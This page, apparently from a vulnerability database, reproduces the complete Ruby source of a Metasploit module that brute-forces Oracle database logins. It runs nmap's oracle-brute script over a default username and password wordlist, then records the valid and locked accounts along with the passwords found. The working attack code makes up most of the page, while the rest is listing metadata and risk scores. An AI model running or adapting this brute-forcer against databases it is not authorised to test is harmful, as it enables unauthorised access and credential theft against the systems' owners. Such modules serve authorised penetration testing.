Lucene search
K

Oracle RDBMS Login Utility

🗓️ 15 Mar 2011 20:46:03Reported by Patrik Karlsson <[email protected]>, todb <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 50 Views

This module attempts to authenticate against an Oracle RDBMS instance using username and password combinations indicated by the options. Due to a bug in nmap versions 6.50-7.80 may not work

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Nmap
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  # Creates an instance of this module.
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Oracle RDBMS Login Utility',
      'Description'    => %q{
        This module attempts to authenticate against an Oracle RDBMS
        instance using username and password combinations indicated
        by the USER_FILE, PASS_FILE, and USERPASS_FILE options.

        Due to a bug in nmap versions 6.50-7.80 may not work.
      },
      'Author'         => [
        'Patrik Karlsson <patrik[at]cqure.net>', # the nmap NSE script, oracle-brute.nse
        'todb' # this Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'https://www.oracle.com/database/' ],
          [ 'CVE', '1999-0502'], # Weak password CVE
          [ 'URL', 'https://nmap.org/nsedoc/scripts/oracle-brute.html']
        ]
    ))

    register_options(
      [
        OptPath.new('USERPASS_FILE',  [ false, "File containing (space-separated) users and passwords, one pair per line",
          File.join(Msf::Config.data_directory, "wordlists", "oracle_default_userpass.txt") ]),
        OptString.new('SID', [ true, 'The instance (SID) to authenticate against', 'XE'])
      ])

  end

  def minimum_nmap_version
    "5.50"
  end

  def run
    unless nmap_version_at_least? minimum_nmap_version
      print_error "Installed Nmap version is not at least #{minimum_nmap_version}. Exiting..."
      return false
    end
    print_status "Nmap: Setting up credential file..."
    credfile = create_credfile
    cred_count = 0
    each_user_pass(true) {|user, pass| credfile[0].puts "%s/%s" % [user,pass]; cred_count += 1 }
    credfile[0].flush
    nmap_build_args(credfile[1])
    print_status "Nmap: Starting Oracle bruteforce with #{cred_count} credentials against SID '#{sid}'..."
    nmap_run
    credfile[0].unlink
    if Rex::Parser.nokogiri_loaded
      nmap_hosts {|type,data| process_nokogiri_callback(type,data)}
    else
      nmap_hosts {|host| process_host(host)}
    end
  end

  def sid
    datastore['SID'].to_s
  end

  def nmap_build_args(credpath)
    nmap_reset_args
    nmap_append_arg "-P0"
    nmap_append_arg "--script oracle-brute"
    script_args = [
      "tns.sid=#{sid}",
      "brute.mode=creds",
      "brute.credfile=#{credpath}",
      "brute.threads=1"
    ]
    script_args << "brute.delay=#{set_brute_delay}"
    nmap_append_arg "--script-args \"#{script_args.join(",")}\""
    nmap_append_arg "-n"
    nmap_append_arg "-v" if datastore['VERBOSE']
  end

  # Sometimes with weak little 10g XE databases, you will exhaust
  # available processes from the pool with lots and lots of
  # auth attempts, so use bruteforce_speed to slow things down
  def set_brute_delay
    case datastore["BRUTEFORCE_SPEED"]
    when 4; 0.25
    when 3; 0.5
    when 2; 1
    when 1; 15
    when 0; 60 * 5
    else; 0
    end
  end

  def create_credfile
    outfile = Rex::Quickfile.new("msf3-ora-creds-")
    if Rex::Compat.is_cygwin and self.nmap_bin =~ /cygdrive/i
      outfile_path = Rex::Compat.cygwin_to_win32(outfile.path)
    else
      outfile_path = outfile.path
    end
    @credfile = [outfile,outfile_path]
  end

  def process_nokogiri_callback(type,data)
    return unless type == :port_script
    return unless data["id"] == "oracle-brute"
    return unless data[:addresses].has_key? "ipv4"
    return unless data[:port]["state"] == ::Msf::ServiceState::Open
    addr = data[:addresses]["ipv4"].to_s
    port = data[:port]["portid"].to_i
    output = data["output"]
    parse_script_output(addr,port,output)
  end

  def process_host(h)
    h["ports"].each do |p|
      next if(h["scripts"].nil? || h["scripts"].empty?)
      h["scripts"].each do |id,output|
        next unless id == "oracle-brute"
        parse_script_output(h["addr"],p["portid"],output)
      end
    end
  end

  def extract_creds(str)
    m = str.match(/\s+([^\s]+):([^\s]+) =>/)
    m[1,2]
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: opts[:status],
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def parse_script_output(addr,port,output)
    msg = "#{addr}:#{port} - Oracle -"
    @oracle_reported = false
    if output =~ /TNS: The listener could not resolve \x22/n
      print_error "#{msg} Invalid SID: #{sid}"
    elsif output =~ /Accounts[\s]+No valid accounts found/nm
      print_status "#{msg} No valid accounts found"
    else
      output.each_line do |oline|
        if oline =~ /Login correct/
          if not @oracle_reported
            report_service(:host => addr, :port => port, :proto => "tcp", :name => "oracle")
            report_note(:host => addr, :port => port, :proto => "tcp", :type => "oracle.sid", :data => sid, :update => :unique_data)
            @oracle_reported = true
          end
          user,pass = extract_creds(oline)
          pass = "" if pass == "<empty>"
          print_good "#{msg} Success: #{user}:#{pass} (SID: #{sid})"
          report_cred(
            ip: addr,
            port: port,
            user: "#{sid}/#{user}",
            password: pass,
            service_name: 'tcp',
            status: Metasploit::Model::Login::Status::SUCCESSFUL
          )
        elsif oline =~ /Account locked/
          if not @oracle_reported
            report_service(:host => addr, :port => port, :proto => "tcp", :name => "oracle")
            report_note(:host => addr, :port => port, :proto => "tcp", :type => "oracle.sid", :data => sid, :update => :unique_data)
            @oracle_reported = true
          end
          user = extract_creds(oline)[0]
          print_good "#{msg} Locked: #{user} (SID: #{sid}) -- account valid but locked"
          report_cred(
            ip: addr,
            port: port,
            user: "#{sid}/#{user}",
            service_name: 'tcp',
            status: Metasploit::Model::Login::Status::DENIED_ACCESS
          )
        elsif oline =~ /^\s+ERROR: (.*)/
          print_error "#{msg} NSE script error: #{$1}"
        end
      end
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Feb 2022 23:22Current
9.5High risk
Vulners AI Score9.5
CVSS 27.5
EPSS0.51933
50